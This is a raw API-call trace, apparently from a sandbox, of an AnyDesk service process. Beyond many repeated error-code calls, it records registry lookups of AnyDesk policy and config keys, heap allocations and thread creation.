[0283.627] SetLastError (dwErrCode=0x0) [0283.627] GetLastError () returned 0x0 [0283.628] SetLastError (dwErrCode=0x0) [0283.628] GetLastError () returned 0x0 [0283.628] SetLastError (dwErrCode=0x0) [0283.628] GetLastError () returned 0x0 [0283.628] SetLastError (dwErrCode=0x0) [0283.628] GetLastError () returned 0x0 [0283.628] SetLastError (dwErrCode=0x0) [0283.628] GetLastError () returned 0x0 [0283.628] SetLastError (dwErrCode=0x0) [0283.628] GetLastError () returned 0x0 [0283.628] SetLastError (dwErrCode=0x0) [0283.628] GetLastError () returned 0x0 [0283.628] SetLastError (dwErrCode=0x0) [0283.628] GetLastError () returned 0x0 [0283.628] SetLastError (dwErrCode=0x0) [0283.628] GetLastError () returned 0x0 [0283.628] SetLastError (dwErrCode=0x0) [0283.628] GetLastError () returned 0x0 [0283.628] SetLastError (dwErrCode=0x0) [0283.628] GetLastError () returned 0x0 [0283.628] SetLastError (dwErrCode=0x0) [0283.628] GetLastError () returned 0x0 [0283.629] SetLastError (dwErrCode=0x0) [0283.629] GetLastError () returned 0x0 [0283.629] SetLastError (dwErrCode=0x0) [0283.629] GetLastError () returned 0x0 [0283.629] SetLastError (dwErrCode=0x0) [0283.629] GetLastError () returned 0x0 [0283.629] SetLastError (dwErrCode=0x0) [0283.629] GetLastError () returned 0x0 [0283.629] SetLastError (dwErrCode=0x0) [0283.629] GetLastError () returned 0x0 [0283.629] SetLastError (dwErrCode=0x0) [0283.629] GetLastError () returned 0x0 [0283.629] SetLastError (dwErrCode=0x0) [0283.629] GetLastError () returned 0x0 [0283.629] SetLastError (dwErrCode=0x0) [0283.629] GetLastError () returned 0x0 [0283.629] SetLastError (dwErrCode=0x0) [0283.629] GetLastError () returned 0x0 [0283.629] SetLastError (dwErrCode=0x0) [0283.629] GetLastError () returned 0x0 [0283.630] SetLastError (dwErrCode=0x0) [0283.630] GetLastError () returned 0x0 [0283.630] SetLastError (dwErrCode=0x0) [0283.630] GetLastError () returned 0x0 [0283.630] SetLastError (dwErrCode=0x0) [0283.630] GetLastError () returned 0x0 [0283.630] SetLastError (dwErrCode=0x0) [0283.630] GetLastError () returned 0x0 [0283.630] SetLastError (dwErrCode=0x0) [0283.630] GetLastError () returned 0x0 [0283.630] SetLastError (dwErrCode=0x0) [0283.630] GetLastError () returned 0x0 [0283.630] SetLastError (dwErrCode=0x0) [0283.630] GetLastError () returned 0x0 [0283.630] SetLastError (dwErrCode=0x0) [0283.630] GetLastError () returned 0x0 [0283.630] SetLastError (dwErrCode=0x0) [0283.630] GetLastError () returned 0x0 [0283.630] SetLastError (dwErrCode=0x0) [0283.631] GetLastError () returned 0x0 [0283.631] SetLastError (dwErrCode=0x0) [0283.631] GetLastError () returned 0x0 [0283.631] SetLastError (dwErrCode=0x0) [0283.631] GetLastError () returned 0x0 [0283.631] SetLastError (dwErrCode=0x0) [0283.631] GetLastError () returned 0x0 [0283.631] SetLastError (dwErrCode=0x0) [0283.631] GetLastError () returned 0x0 [0283.631] SetLastError (dwErrCode=0x0) [0283.631] GetLastError () returned 0x0 [0283.631] SetLastError (dwErrCode=0x0) [0283.631] GetLastError () returned 0x0 [0283.631] SetLastError (dwErrCode=0x0) [0283.631] GetLastError () returned 0x0 [0283.631] SetLastError (dwErrCode=0x0) [0283.631] GetLastError () returned 0x0 [0283.631] SetLastError (dwErrCode=0x0) [0283.632] GetLastError () returned 0x0 [0283.632] SetLastError (dwErrCode=0x0) [0283.632] GetLastError () returned 0x0 [0283.632] SetLastError (dwErrCode=0x0) [0283.632] GetLastError () returned 0x0 [0283.632] SetLastError (dwErrCode=0x0) [0283.632] GetLastError () returned 0x0 [0283.632] SetLastError (dwErrCode=0x0) [0283.632] GetLastError () returned 0x0 [0283.632] SetLastError (dwErrCode=0x0) [0283.632] GetLastError () returned 0x0 [0283.632] SetLastError (dwErrCode=0x0) [0283.632] GetLastError () returned 0x0 [0283.632] SetLastError (dwErrCode=0x0) [0283.632] GetLastError () returned 0x0 [0283.632] SetLastError (dwErrCode=0x0) [0283.632] GetLastError () returned 0x0 [0283.632] SetLastError (dwErrCode=0x0) [0283.632] GetLastError () returned 0x0 [0283.633] SetLastError (dwErrCode=0x0) [0283.633] GetLastError () returned 0x0 [0283.633] SetLastError (dwErrCode=0x0) [0283.633] GetLastError () returned 0x0 [0283.633] SetLastError (dwErrCode=0x0) [0283.633] GetLastError () returned 0x0 [0283.633] SetLastError (dwErrCode=0x0) [0283.633] GetLastError () returned 0x0 [0283.633] SetLastError (dwErrCode=0x0) [0283.633] GetLastError () returned 0x0 [0283.633] SetLastError (dwErrCode=0x0) [0283.633] GetLastError () returned 0x0 [0283.633] SetLastError (dwErrCode=0x0) [0283.633] GetLastError () returned 0x0 [0283.633] SetLastError (dwErrCode=0x0) [0283.633] GetLastError () returned 0x0 [0283.633] SetLastError (dwErrCode=0x0) [0283.633] GetLastError () returned 0x0 [0283.634] SetLastError (dwErrCode=0x0) [0283.634] GetLastError () returned 0x0 [0283.634] SetLastError (dwErrCode=0x0) [0283.634] GetLastError () returned 0x0 [0283.634] SetLastError (dwErrCode=0x0) [0283.634] GetLastError () returned 0x0 [0283.634] SetLastError (dwErrCode=0x0) [0283.634] GetLastError () returned 0x0 [0283.634] SetLastError (dwErrCode=0x0) [0283.634] GetLastError () returned 0x0 [0283.634] SetLastError (dwErrCode=0x0) [0283.634] GetLastError () returned 0x0 [0283.634] SetLastError (dwErrCode=0x0) [0283.634] GetLastError () returned 0x0 [0283.634] SetLastError (dwErrCode=0x0) [0283.634] GetLastError () returned 0x0 [0283.634] SetLastError (dwErrCode=0x0) [0283.634] GetLastError () returned 0x0 [0283.635] SetLastError (dwErrCode=0x0) [0283.635] GetLastError () returned 0x0 [0283.635] SetLastError (dwErrCode=0x0) [0283.635] GetLastError () returned 0x0 [0283.635] SetLastError (dwErrCode=0x0) [0283.635] GetLastError () returned 0x0 [0283.635] SetLastError (dwErrCode=0x0) [0283.635] GetLastError () returned 0x0 [0283.635] SetLastError (dwErrCode=0x0) [0283.635] GetLastError () returned 0x0 [0283.635] SetLastError (dwErrCode=0x0) [0283.635] GetLastError () returned 0x0 [0283.635] SetLastError (dwErrCode=0x0) [0283.635] GetLastError () returned 0x0 [0283.635] SetLastError (dwErrCode=0x0) [0283.635] GetLastError () returned 0x0 [0283.635] SetLastError (dwErrCode=0x0) [0283.635] GetLastError () returned 0x0 [0283.636] SetLastError (dwErrCode=0x0) [0283.636] GetLastError () returned 0x0 [0283.636] SetLastError (dwErrCode=0x0) [0283.636] GetLastError () returned 0x0 [0283.636] SetLastError (dwErrCode=0x0) [0283.636] GetLastError () returned 0x0 [0283.636] SetLastError (dwErrCode=0x0) [0283.636] GetLastError () returned 0x0 [0283.636] SetLastError (dwErrCode=0x0) [0283.636] GetLastError () returned 0x0 [0283.636] SetLastError (dwErrCode=0x0) [0283.636] GetLastError () returned 0x0 [0283.636] SetLastError (dwErrCode=0x0) [0283.636] GetLastError () returned 0x0 [0283.636] SetLastError (dwErrCode=0x0) [0283.636] GetLastError () returned 0x0 [0283.636] SetLastError (dwErrCode=0x0) [0283.636] GetLastError () returned 0x0 [0283.636] SetLastError (dwErrCode=0x0) [0283.637] GetLastError () returned 0x0 [0283.637] SetLastError (dwErrCode=0x0) [0283.637] GetLastError () returned 0x0 [0283.637] SetLastError (dwErrCode=0x0) [0283.637] GetLastError () returned 0x0 [0283.637] SetLastError (dwErrCode=0x0) [0283.637] GetLastError () returned 0x0 [0283.637] SetLastError (dwErrCode=0x0) [0283.637] GetLastError () returned 0x0 [0283.637] SetLastError (dwErrCode=0x0) [0283.637] GetLastError () returned 0x0 [0283.637] SetLastError (dwErrCode=0x0) [0283.637] GetLastError () returned 0x0 [0283.637] SetLastError (dwErrCode=0x0) [0283.637] GetLastError () returned 0x0 [0283.637] SetLastError (dwErrCode=0x0) [0283.637] GetLastError () returned 0x0 [0283.637] SetLastError (dwErrCode=0x0) [0283.638] GetLastError () returned 0x0 [0283.638] SetLastError (dwErrCode=0x0) [0283.638] GetLastError () returned 0x0 [0283.638] SetLastError (dwErrCode=0x0) [0283.638] GetLastError () returned 0x0 [0283.638] SetLastError (dwErrCode=0x0) [0283.638] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e76 [0283.638] WriteFile (in: hFile=0x144, lpBuffer=0x25ef370*, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0x25efc9c, lpOverlapped=0x0 | out: lpBuffer=0x25ef370*, lpNumberOfBytesWritten=0x25efc9c*=0x84, lpOverlapped=0x0) returned 1 [0283.638] ReleaseMutex (hMutex=0xd8) returned 1 [0283.638] RegisterServiceCtrlHandlerExW (lpServiceName="AnyDesk", lpHandlerProc=0x21b4f0, lpContext=0x131c878) returned 0x16eea60 [0283.638] RegDisablePredefinedCache () returned 0x0 [0283.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0b41c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0283.640] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x19903d8 [0283.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0b41c, cbMultiByte=-1, lpWideCharStr=0x19903d8, cchWideChar=28 | out: lpWideCharStr="reg config watcher defaults") returned 28 [0283.640] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x19904d8 [0283.640] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1990518 [0283.641] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19904d8 | out: hHeap=0x1930000) returned 1 [0283.641] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19903d8 | out: hHeap=0x1930000) returned 1 [0283.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0b438, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 29 [0283.641] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970618 [0283.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0b438, cbMultiByte=-1, lpWideCharStr=0x1970618, cchWideChar=29 | out: lpWideCharStr="reg config watcher overrides") returned 29 [0283.641] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970930 [0283.641] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970b28 [0283.642] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970930 | out: hHeap=0x1930000) returned 1 [0283.642] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970618 | out: hHeap=0x1930000) returned 1 [0283.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0b458, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0283.642] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x19903d8 [0283.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0b458, cbMultiByte=-1, lpWideCharStr=0x19903d8, cchWideChar=28 | out: lpWideCharStr="reg config watcher policies") returned 28 [0283.642] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x19904d8 [0283.642] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x19905d8 [0283.642] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19904d8 | out: hHeap=0x1930000) returned 1 [0283.643] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19903d8 | out: hHeap=0x1930000) returned 1 [0283.643] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x190 [0283.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x64ee60, lpParameter=0x131d7bc, dwCreationFlags=0x4, lpThreadId=0x131d7d0 | out: lpThreadId=0x131d7d0*=0x5dc) returned 0x1f4 [0283.643] ResumeThread (hThread=0x1f4) returned 0x1 [0283.643] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0283.644] CloseHandle (hObject=0x190) returned 1 [0283.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc15f60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0283.644] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f4f0 [0283.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc15f60, cbMultiByte=-1, lpWideCharStr=0x196f4f0, cchWideChar=23 | out: lpWideCharStr="ad.restart.restore_bcd") returned 23 [0283.644] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f330 [0283.644] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f560 [0283.644] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bc68 [0283.644] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f608 [0283.645] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f560 | out: hHeap=0x1930000) returned 1 [0283.645] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f4f0 | out: hHeap=0x1930000) returned 1 [0283.645] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1) returned 0x1995cc0 [0283.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.645] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995cb0 [0283.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1995cb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.645] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995c90 [0283.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1995c90, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.645] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995cb0 | out: hHeap=0x1930000) returned 1 [0283.645] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1995810 [0283.646] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995c90 | out: hHeap=0x1930000) returned 1 [0283.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0283.646] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x1995828 [0283.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cb4, cbMultiByte=-1, lpWideCharStr=0x1995828, cchWideChar=5 | out: lpWideCharStr="true") returned 5 [0283.646] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995828 | out: hHeap=0x1930000) returned 1 [0283.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cbc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0283.646] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1995828 [0283.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cbc, cbMultiByte=-1, lpWideCharStr=0x1995828, cchWideChar=6 | out: lpWideCharStr="false") returned 6 [0283.646] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995828 | out: hHeap=0x1930000) returned 1 [0283.646] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995810 | out: hHeap=0x1930000) returned 1 [0283.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10fd8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0283.646] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x19903d8 [0283.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10fd8, cbMultiByte=-1, lpWideCharStr=0x19903d8, cchWideChar=27 | out: lpWideCharStr="ad.service.remove_at_start") returned 27 [0283.646] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x19904d8 [0283.646] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1990598 [0283.646] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bc48 [0283.646] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1990658 [0283.647] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990598 | out: hHeap=0x1930000) returned 1 [0283.647] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19903d8 | out: hHeap=0x1930000) returned 1 [0283.647] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1) returned 0x1995c90 [0283.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.647] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995cb0 [0283.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1995cb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.647] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5ff8 [0283.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x19a5ff8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.647] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995cb0 | out: hHeap=0x1930000) returned 1 [0283.647] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1995810 [0283.647] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a5ff8 | out: hHeap=0x1930000) returned 1 [0283.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0283.648] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x1995828 [0283.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cb4, cbMultiByte=-1, lpWideCharStr=0x1995828, cchWideChar=5 | out: lpWideCharStr="true") returned 5 [0283.648] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995828 | out: hHeap=0x1930000) returned 1 [0283.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cbc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0283.648] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1995828 [0283.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cbc, cbMultiByte=-1, lpWideCharStr=0x1995828, cchWideChar=6 | out: lpWideCharStr="false") returned 6 [0283.648] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995828 | out: hHeap=0x1930000) returned 1 [0283.648] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995810 | out: hHeap=0x1930000) returned 1 [0283.648] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5ff8 [0283.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.648] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a6008 [0283.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x19a6008, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.648] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a6018 [0283.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.648] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19a6028 [0283.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x19a6028, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.648] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6028 | out: hHeap=0x1930000) returned 1 [0283.648] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x43) returned 0x198c198 [0283.648] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196f4f0 [0283.649] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c198 | out: hHeap=0x1930000) returned 1 [0283.649] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a6028 [0283.649] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bd28 [0283.649] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3c) returned 0x1970618 [0283.649] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6028 | out: hHeap=0x1930000) returned 1 [0283.649] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6018 | out: hHeap=0x1930000) returned 1 [0283.649] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196f560 [0283.649] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.twofactorauthkey", lpReserved=0x0, lpType=0x25efa68, lpData=0x0, lpcbData=0x25efa6c*=0x0 | out: lpType=0x25efa68*=0x0, lpData=0x0, lpcbData=0x25efa6c*=0x0) returned 0x6 [0283.649] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x25efa94 | out: phkResult=0x25efa94*=0x0) returned 0x2 [0283.649] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f560 | out: hHeap=0x1930000) returned 1 [0283.650] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a6018 [0283.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.650] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19a6028 [0283.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x19a6028, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.650] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6028 | out: hHeap=0x1930000) returned 1 [0283.650] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x43) returned 0x198c198 [0283.650] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196f560 [0283.650] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c198 | out: hHeap=0x1930000) returned 1 [0283.650] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a6028 [0283.650] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bbe8 [0283.650] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3c) returned 0x1970930 [0283.650] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1972050 [0283.650] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198a4b8 | out: hHeap=0x1930000) returned 1 [0283.650] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6028 | out: hHeap=0x1930000) returned 1 [0283.650] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6018 | out: hHeap=0x1930000) returned 1 [0283.650] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196f5d0 [0283.650] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.twofactorauthkey", lpReserved=0x0, lpType=0x25efa68, lpData=0x0, lpcbData=0x25efa6c*=0x0 | out: lpType=0x25efa68*=0x0, lpData=0x0, lpcbData=0x25efa6c*=0x0) returned 0x6 [0283.650] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x25efa94 | out: phkResult=0x25efa94*=0x0) returned 0x2 [0283.651] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f5d0 | out: hHeap=0x1930000) returned 1 [0283.651] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6008 | out: hHeap=0x1930000) returned 1 [0283.651] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a5ff8 | out: hHeap=0x1930000) returned 1 [0283.651] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xac) returned 0x19773e8 [0283.652] CreateFiberEx (dwStackCommitSize=0x0, dwStackReserveSize=0x0, dwFlags=0x1, lpStartAddress=0x5f6150, lpParameter=0x19773e8) returned 0x16f6590 [0283.653] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995810 [0283.653] GetLastError () returned 0x0 [0283.653] SetLastError (dwErrCode=0x0) [0283.653] GetLastError () returned 0x0 [0283.654] SetLastError (dwErrCode=0x0) [0283.654] GetLastError () returned 0x0 [0283.654] SetLastError (dwErrCode=0x0) [0283.654] GetLastError () returned 0x0 [0283.654] SetLastError (dwErrCode=0x0) [0283.654] GetLastError () returned 0x0 [0283.654] SetLastError (dwErrCode=0x0) [0283.654] GetLastError () returned 0x0 [0283.654] SetLastError (dwErrCode=0x0) [0283.654] GetLastError () returned 0x0 [0283.654] SetLastError (dwErrCode=0x0) [0283.654] GetLastError () returned 0x0 [0283.654] SetLastError (dwErrCode=0x0) [0283.654] GetLastError () returned 0x0 [0283.654] SetLastError (dwErrCode=0x0) [0283.654] WaitForSingleObject (hHandle=0xd8, dwMilliseconds=0xbb8) returned 0x0 [0283.654] GetSystemTime (in: lpSystemTime=0x25efa68 | out: lpSystemTime=0x25efa68*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x34)) [0283.655] GetCurrentThreadId () returned 0x5d8 [0283.655] GetCurrentProcessId () returned 0x51c [0283.655] GetLastError () returned 0x0 [0283.655] SetLastError (dwErrCode=0x0) [0283.655] GetLastError () returned 0x0 [0283.656] SetLastError (dwErrCode=0x0) [0283.656] GetLastError () returned 0x0 [0283.656] SetLastError (dwErrCode=0x0) [0283.656] GetLastError () returned 0x0 [0283.656] SetLastError (dwErrCode=0x0) [0283.656] GetLastError () returned 0x0 [0283.656] SetLastError (dwErrCode=0x0) [0283.656] GetLastError () returned 0x0 [0283.656] SetLastError (dwErrCode=0x0) [0283.656] GetLastError () returned 0x0 [0283.656] SetLastError (dwErrCode=0x0) [0283.656] GetLastError () returned 0x0 [0283.656] SetLastError (dwErrCode=0x0) 